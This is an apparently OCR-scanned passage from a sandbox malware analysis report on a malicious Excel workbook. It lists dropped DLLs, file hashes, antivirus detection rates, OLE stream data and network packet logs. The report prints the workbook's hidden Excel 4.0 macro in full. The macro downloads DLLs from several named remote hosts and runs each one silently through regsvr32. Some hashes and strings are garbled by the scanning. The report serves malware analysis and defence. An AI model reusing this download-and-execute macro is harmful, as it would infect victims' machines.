SSDEEP: 3072:JI0AMOYQKRIMGIgIELtIUNjiWGYyWcTb0JUIA2tqZ4IvVUIDA]7UO}ViIfFSWHEDQVLK:i5MRIM6Y3TWRIVgMSS3AyUrhYu3j
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MD5: 8516983EEDC8690C1495B828B4262A63

SHA1L: BDD250044234E53E9F08DB444A1DE00987735930

SHA-256: 90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D

SHA-512: C5B6A37A787A7T0E70BEB614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6A5F4DE06219A1FA6D9D015691E9432CD!
3

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Metadefender, Detection: 29%, Browse
e Antivirus: ReversingLabs, Detection: 59%

|IE Cache URL: http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/
Preview: ..L.IThis program cannot be run in DOS mode....$. 8uik.ik.ik.. ke ik k.ik. k..ik..hk..ik.. k..ik..k..ik..k.ik..k.ikRic

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UWa95VlQ[1]

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 5

Entropy (8bit): 1.5219280948873621

Encrypted: false

SSDEEP: 3:hn:h

MD5: FDA44910DEB1A460BE4AC5D56D61D837

SHAL: F6D0C643351580307B2EAABA7560E76965496BC7

SHA-256: 933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FCIDOC684949E8CI

SHA-512: 57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4AEDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C
1

Malicious: false

Preview: 0....

C:\Users\user\AppData\Local\Temp\Cab881.tmp E

Process: C:\Windows\System32\regsvr32.exe

File Type: Microsoft Cabinet archive data, 61480 bytes, 1 file
Category: dropped

Size (bytes): 61480

Entropy (8bit):  7.9951219482618905

Encrypted: true

SSDEEP: 1536:kmu7iDG/SCACih0/8ulGantJdjFpTE8ITeNjiXKGgUN:CeGf5gKsGAvdjFpjlYeX9gUN

MD5: BI9F21D8DB36E88831E5352BB82C438B3

SHA1L: 4A3C330954F9F65A2F5FD7E55800E46CE228A3E2

SHA-256: 998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E

SHA-512: D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BES5F39346D8B564FC72FB16994
76

Malicious: false

Preview: MSCF....(covvoepeveoeeeceneeonne (IR Thbr .authroot.stl..$..4..CK..<Tk...c_.d...AK....Y.f...1))$7%....e..eKT. k...n.3.......5..9.5.....3H.Mh......qV.=M6.=.4.F... \V:F ]......
B...Q..c'U.0.N...0....4.....i75...27....._..+).JE..he.4|.2,..h...7..PA.b.,. ... #1+.0..g....2n1M...=......Dp.;..f.jX.Dx..r<.1RI3BO<w.D.z..)D|..8<..c+.’XH..K,.Y..d J.<.A...

o L _VB[W..IDp... L G £ X 20 V(L €A Z0 > OV P ] AL (X T0.0G...C..7.U?...9.p..2..&..9......8V..I0..D..fhi.h.F....q..y.... M. 4..Z....={L...AS..9....0.0....

WDA.Qt7...9.~. [ l<e..~$.>...5lS..~1.IV.2Ri.]R!8..q... X.%.)@.....2.gb,t..}..;.. @.Z..<q..y.....e3..cY.we.$..z..| #...

C:\Users\user\AppData\Local\Temp\Tar882.tmp

Process: C:\Windows\System32\regsvr32.exe
File Type: data

Category: modified

Size (bytes): 162196

Entropy (8bit):  6.301436092020807

Encrypted: false

SSDEEP: 1536:Nga6crtilgCyNY 21p/5ib6NWdm1wpzru2RPZz04D8rICMiB3XIMc:NalimCy/dm0zru2RN97MiVGe
MD5: E721613517543768FODE47AGEEEE3475

SHAL: 3FFC13E3157CF6EBI9E9ICCAB57B9058209AF41D69

SHA-256: 3163B82D1289693122EF99EDEC3C1911F68AA2A7296907CEBF84C897141CEDAE
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https://www.metadefender.com/#!/results/file/bzIyMDUyM0xMV1c5R3BrZ29sSTdFN1Etdnht/regular/analysis

SHA-512:
Malicious:

Preview:

E097CAB58C5E390FDC2DB03A59329A548A60069804487828B70519A403622260E57F10B09DIDDAEEB3C31491FE32221FB67965C490771A3D42E45EBB8BE26587

false
0.y..5 H........ y.0..yz..1.0..."H.e.....0.i..+....7.....i.0...0...+.....7........SiU[v...22041821144770...+......0..i.0..D....."...@.,..0..0.r1..*0...+.....7..h1....+h..0..+....7..~1...
...D..0 ..-@wW0Z..+.....7..1L.IM.i.cr.o.s.0.f.t. .R.

.0.+...7..1..0.V.......b0S$..+....7...

o.o.t. .Certificate. Authority..0. [/..ulv..%]1...0...+.
1..>)...5,.=$.~R."..00..+.....7..b1". [X.....[....3 .7.2...Gy.cS.0D..+
Al 700100+ 7<00 L7 ol AL LLI@08. +L 70 1 W LN 00, L 70 b1 L@, GldmL S XL 0B L+ 7., 14.2Mi.C.1.0.5.0

C:\Users\user\AppData\Local\Temp\~DFD493E3869BDA5390.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

28672

3.430046337073317

false
768:0DRKpb8rGYrMPe3q7Q0XV5xtezE8vpI8UM+VB9s1X0:0VKpb8rGYrMPe3q7Q0XV5xtezE8VG8Uv
268EE6A4D8E511858C19684926C5CBC5

4406095C22A6FA760F49845B116610756D3FFCO1
C3C0646B3FDD86756340917F30A5B4F289095960870A82FBAD8D0033E5056C5E
526EDE142F8B98D56B21E4010018A83657232FA14EA69B53D5073D09E473FFD5E61639F6F53F42D2B4277CF35B9D806EEAFED619C725F2529516D012BFA778F2

false

C:\Users\user\Desktop\AGK-010522 MJEY-210522.xls €}

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating
Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 16:15:56 2022, Security: 0

dropped

69120

6.450399390204807

false

1536:9gVKpb8rGYrMPe3q7Q0XV5xtezE8VGBUM+79s1a6Y G2jzQO0viPvDNHhA6Gq:+Kpb8rGYrMPe3q7Q0XV5xtezE8VG8UMu
01676D2646AF8E6C06365E9068E2149D

5F1DCOBFE414CAODFOEOF3C94C6DEGD86ESDOC3B
C93CDFC2D9F341B93A85FF78AEF64A51EAA3830F1CBC84184EFCD7D4EC140465

3542E2158FB1271A00E947E604ACE166A86342DF1243CADCF647E8816DE8A636FFIECFF7DB79B8FA3E112D7D6633D891B1FADBED04587F8509937B60882BDAE
8

true

.userTH
cenCaalisbrilo..Calibril.........Calibril...

C:\Users\user\uxevrl.ocx v@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

dropped

365056

7.158099808823071

false
3072:JI0AMOYQKRIMS6IgIELtIUNjiWGYWCT+0JUiA2tqZ4IvUIDAj7UO}VifSWHEDQVLK:i5MRIMBY3TrRIVgMSS3AyUrhYu3j
F11EBAFE4C3C0069090023A6B4CAEC35

3FECC4BC39FA6F17F062473D80F51AAEF8B442DB
CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
425EDOA65526F11EADC37C8158C2D53C6A07C234DA59594DEEC8C8B132B6673534371A149CD5EAS86ED07B0A517011E6143CE41E5D4D93608208C1DC73880F
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 41%
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Preview: 1..L.IThis program cannot be run in DOS mode....$. 8uik.ik.ik.. k. ik.. k..ik. k..ik..hk..ik...k..ik...k..ik..k.iKk..k.ikRic

C:\Users\user\uxevr2.ocx v@

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: dropped
Size (bytes): 365056

Entropy (8bit):  7.158106332990621

Encrypted: false

SSDEEP: 3072:JI0AMOyQKRIM6IgIELtIUNjiWGyWcTb0JUiA2tqZ4IVUIDAj7UO]VifSWHEDQVLK:I5MRIMGY3TWRIVgMSS3AyUrhYus3j

MD5: 8516983EEDC8690C1495B828B4262A63

SHA1L: BDD250044234E53E9F08DB444A1DE00987735930

SHA-256: 90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D

SHA-512: C5B6A37A787A70E70BE8614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6ASF4DE06219A1FA6DID015691E9432CD!
3

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Metadefender, Detection: 29%, Browse
e Antivirus: ReversingLabs, Detection: 59%

Preview: MZ. .@.. 1..L.IThis program cannot be run in DOS mode....$. 8uikeik. k.. ko ik k. ik. kK. kKKK KK KKK GKRIC

C:\Users\user\uxevr3.o0cx v@

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: dropped
Size (bytes): 365056

Entropy (8bit):  7.158106334231925

Encrypted: false

SSDEEP: 3072:JI0AMOyQKRIMBIgIELtJUNjiWGYWcTZA0JUiA2tqZ4IvUIDA]7UO}VifSWHEDQVO:iI5MRIM6EY3TjRIVgMSS3AyUrhYu3j

MD5: BE9AB3CBCD3C659212F266325283997D

SHA1L: 8AEG66E545E3F39473BE65759BE466D48448F385C

SHA-256: 278D0OCOBAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0

SHA-512: 48058CE87D6A2813C60852B435BC43D7F64D0180A63F9F5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 56%

Preview:

C:\Windows\System32\MiFQSWNWalxwEe\IpsINE.dlL (copy) 7 €

Process: C:\Windows\System32\regsvr32.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: dropped

Size (bytes): 365056

Entropy (8bit):  7.158106332990621

Encrypted: false

SSDEEP: 3072:JI0AMOYQKRIM6IgIELLIUNjiWGYWcTh0JUIA2tqZ4IVUIDA]7UOjVifSWHEDQVLK:iI5SMRIMBY3TWRIvgMSS3AyUrhYu3j

MD5: 8516983EEDC8690C1495B828B4262A63

SHAL: BDD250044234E53E9F08DB444A1DE00987735930

SHA-256: 90498F1EE590DA28566434C15EFCFDI8E829846F233387553EA655FC7559168D

SHA-512: C5B6A37A787A70E70BE8614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6A5FADE06219A1FAG6DID015691E9432CD!
3

Malicious: true
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https://www.metadefender.com/#!/results/file/bzIyMDUyM0xMV1c5R3BrZ29sSTdFN1Etdnht/regular/analysis

Antivirus: e Antivirus: Metadefender, Detection: 29%, Browse
e Antivirus: ReversingLabs, Detection: 59%

Preview: MZ..oooiiiieienn@.....

C:\Windows\System32\XpltPypW\hllulW.dlt (copy) 7 €

Process: C:\Windows\System32\regsvr32.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: dropped

Size (bytes): 365056

Entropy (8bit):  7.158099808823071

Encrypted: false

SSDEEP: 3072:JI0AMOyQKRIMBIgIELtIUNjIWGYyWcT+0JUiA2tqZ4IvUIDA]7UQ}VifSWHEDQVLK:iI5MRIM6Y3TrRIVgMSS3AyUrhYu3j

MD5: F11EBAFE4C3C0069090023A6B4CAEC35

SHAL: 3FECC4BC39FAG6F17F062473D80F51AAEF8B442DB

SHA-256: CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA

SHA-512: 425EDOA65526F11EADC37C8158C2D53C6A07C234DA59594DEECBC8B132B6673534371A149CD5EAS86ED07B0AS517011E6143CE41E5D4D93608208C1DC73880F
Malicious: true

Antivirus: e Antivirus: ReversingLabs, Detection: 41%

Preview: 1..L.IThis program cannot be run in DOS mode....$. 8uikeik. k.. k. ik.. k. ik. kK. kKKK KK KKK CKRIC

C:\Windows\System32\YtTPe\fAqgggPvQZVEzlo.dll (copy) 7 €

Process: C:\Windows\System32\regsvr32.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: dropped

Size (bytes): 365056

Entropy (8bit):  7.158106334231925

Encrypted: false

SSDEEP: 3072:JI0AMOyQKkRIMBIgIELtJUNjiWGYWcTZA0JUiA2tqZ4IvUIDA]7UO}VifSWHEDQVO:i5MRIM6EY3TjRIVgMSS3AyUrhYu3j

MD5: BE9AB3CBCD3C659212F266325283997D

SHA1L: 8AE66E545E3F39473BE65759BE466D48448F385C

SHA-256: 278D0OCOBAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0

SHA-512: 48058CE87D6A2813C60852B435BC43D7F64D0180A63F9F5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious: true

Antivirus: e Antivirus: ReversingLabs, Detection: 56%

Preview:

Static File Info
General
File type: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating

Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 16:15:56 2022, Security: 0

Entropy (8bit): 6.449650247078011

TriD: e Microsoft Excel sheet (30009/1) 78.94%
e Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name: AGK-010522 MJEY-210522.xIs
File size: 69120
MDS5: 26fela6dbcaedcd92be80daa3f91a595
SHAL: 894d4913c99feb984e4885d46ef3935467b07hb0
SHA256: 10d164258a05b43017ea2344e234477490adaef157633778e0a2f2f558ef9385
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https://www.metadefender.com/#!/results/file/bzIyMDUyM0xMV1c5R3BrZ29sSTdFN1Etdnht/regular/analysis

SHAS512: 27fc4993a4f0e8ff9ad667e107a846e94d97d13de9dd2aflda0ch7377df08d3e9001dee888d0909802dff8ae7450006071378df9e8h1842a7831804af098¢826

SSDEEP: 1536:nVKph8rGYrMPe3q7Q0XV5xtezE8VG8UM+79s1a6Y G2jzQ0viPvDNHhABW:VKpb8rGYrMPe3q7Q0XV5xtezE8VvG8UMa

TLSH: 28635A467A59C82DF914D33549D74BA97316FC318FABOA833225F324AFFD8AOS5A0761B

File Content ... BTSSP T PSP
Preview:

File lcon

Icon Hash: edeea286adb4bcb4
Static OLE Info

General

Document Type: OLE

Number of OLE Files: 1

OLE File "AGK-010522 MJEY-210522.xls"

Indicators

Has Summary Info:

Application Name: Microsoft Excel
Encrypted Document: False
Contains Word Document Stream:  False

Contains Workbook/Book Stream: True

Contains PowerPoint Document False

Stream:

Contains Visio Document Stream: False

Contains ObjectPool Stream: False

Flash Objects Count: 0

Contains VBA Macros: False

Summary

Code Page: 1251

Author: Dream

Last Saved By: TYHRETH

Create Time: 2015-06-05 18:19:34
Last Saved Time: 2022-05-20 15:15:56
Creating Application: Microsoft Excel
Security: 0

Document Summary

Document Code Page: 1251
Thumbnail Scaling Desired: False
Company:

Contains Dirty Links: False
Shared Document: False
Changed Hyperlinks: False
Application Version: 1048576
Streams

Stream Path: \x5DocumentSummarylinformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5DocumentSummarylnformation
File Type: data

Stream Size: 4096

Entropy: 0.404258978601

Base64 Encoded: False

Data ASCII:
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General

Data Raw: fe ff 00 00 Oa 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2¢ f9 ae 30 00 00 00 18
01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 Of 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 Ob 00 00 00 6¢ 00 00 00 10 00 00 00 74 00 00 00 13
00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8¢ 00 00 00 Oc 00 00 00 d7 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation

File Type: data

Stream Size: 4096

Entropy: 0.280796102053

Base64 Encoded: False

Data ASCII:

Data Raw: fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f 2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0

00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 Oc 00 00 00 80 00 00 00 Od
00 00 00 8¢ 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 58850

General
Stream Path: Workbook
File Type: Applesoft BASIC program data, first line number 16
Stream Size: 58850
Entropy: 7.09451088117
Base64 Encoded: True
Data ASCI: L. \.p.... TYHRETH
B..... L@ "
Data Raw: 09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5¢ 00 70 00 07 00 00 54 59 48 52 45
54 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
Macro 4.0 Code
Name: PKEKPPGEKKPGE
Type: 4
Final: False
Visible: False
Protected: False
PKEKPPGEKKPGE
4
False
0
False
pre

7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HEXAMI/IIWa95VIQ/",". \uxevrl.ocx",0,0)",F11)=FORMULA("=EXEC("
C:\Windows\System32\regsvr32.exe /S ..\uxevrl.ocx")",F13)=FORMULA("=CALL("urimon”,"URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/",". \uxevr2.ocx",
0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urimon”,"URLDownloadToFileA","JJCCBB",0,"https://airliftimo.com/wp-admin/iMc/","..\
uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admi
n/VWIAZ5VWJINHDb/",". \uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)

Name: PKEKPPGEKKPGE
Type: 4

Final: False

Visible: False

Protected: False
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PKEKPPGEKKPGE

4

False

0

False

post

7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HEXAMI/IIJWa95VIQ/",". \uxevrl.ocx",0,0)",F11)=FORMULA("=EXEC("
C:\Windows\System32\regsvr32.exe /S ..\uxevrl.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/",". \uxevr2.ocx",
0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon”,"URLDownloadToFileA","JJCCBB",0,"https://airliftlimo.com/wp-admin/iMc/","..\
uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon”,"URLDownloadToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admi
n/VWIAz5VWJINHDb/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)10,5,=CALL("urimon","URLDownload T
oFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HEXAMI/IIWa95VIQ/",". \uxevrl.ocx",0,0)12,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevrl.ocx")14,5,=CALL("urlmon"”,
"URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/",". \uxevr2.ocx",0,0)16,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.0cx")18,5,=CALL("urlm
on","URLDownloadToFileA","JJCCBB",0,"https://airliftlimo.com/wp-admin/iMc/","..\uxevr3.ocx",0,0)20,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")22,5,=CALL("urlmon","URLDownlo
adToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admin/VWIAzZ5VWINHDb/",". \uxevr4.ocx",0,0)24,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")28,5,=RETURN()

Network Behavior

Network Port Distribution

Total Packets: 57

® 53 (DNS)

® 443 (HTTPS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
May 23, 2022 08:27:15.120635033 CEST 49171 80 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.137921095 CEST 80 49171 188.114.96.10 192.168.2.22
May 23, 2022 08:27:15.139055967 CEST 49171 80 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.139931917 CEST 49171 80 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.156904936 CEST 80 49171 188.114.96.10 192.168.2.22
May 23, 2022 08:27:15.168159962 CEST 80 49171 188.114.96.10 192.168.2.22
May 23, 2022 08:27:15.168270111 CEST 49171 80 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.359888077 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.359941959 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:15.360061884 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.397113085 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.397166014 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:15.456134081 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:15.456294060 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.493999004 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.494040966 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:15.494623899 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:15.494708061 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.757504940 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:15.800493956 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.281246901 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.281415939 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.281424046 CEST 443 49172 188.114.96.10 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

May 23, 2022 08:27:16.281449080 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.281475067 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.281486988 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.281554937 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.281609058 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.281702995 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.281749010 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.281807899 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.281850100 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.281914949 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.281960964 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282017946 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282061100 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282119989 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282160997 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282223940 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282273054 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282327890 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282367945 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282433033 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282479048 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282536030 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282577991 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282638073 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282680988 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282740116 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282783031 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282843113 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282896042 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.282947063 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.282988071 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.283047915 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.283088923 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.283128023 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.283180952 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.290474892 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.454936028 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455185890 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455219030 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455262899 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455291986 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455332994 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455349922 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455425978 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455442905 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455492973 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455516100 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455630064 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455643892 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455720901 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455725908 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455749035 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455781937 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455796003 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455833912 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455882072 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455915928 CEST 443 49172 188.114.96.10 192.168.2.22
May 23, 2022 08:27:16.455964088 CEST 49172 443 192.168.2.22 188.114.96.10
May 23, 2022 08:27:16.455996037 CEST 443 49172 188.114.96.10 192.168.2.22

Copyright Joe Security LLC 2022 Page 22 of 46



Timestamp Source Port Dest Port Source IP Dest IP

May 23, 2022 08:27:16.456043959 CEST 49172 443 192.168.2.22 188.114.96.10

May 23, 2022 08:27:16.456080914 CEST 443 49172 188.114.96.10 192.168.2.22

May 23, 2022 08:27:16.456197977 CEST 49172 443 192.168.2.22 188.114.96.10

May 23, 2022 08:27:16.456211090 CEST 443 49172 188.114.96.10 192.168.2.22

May 23, 2022 08:27:16.456271887 CEST 49172 443 192.168.2.22 188.114.96.10

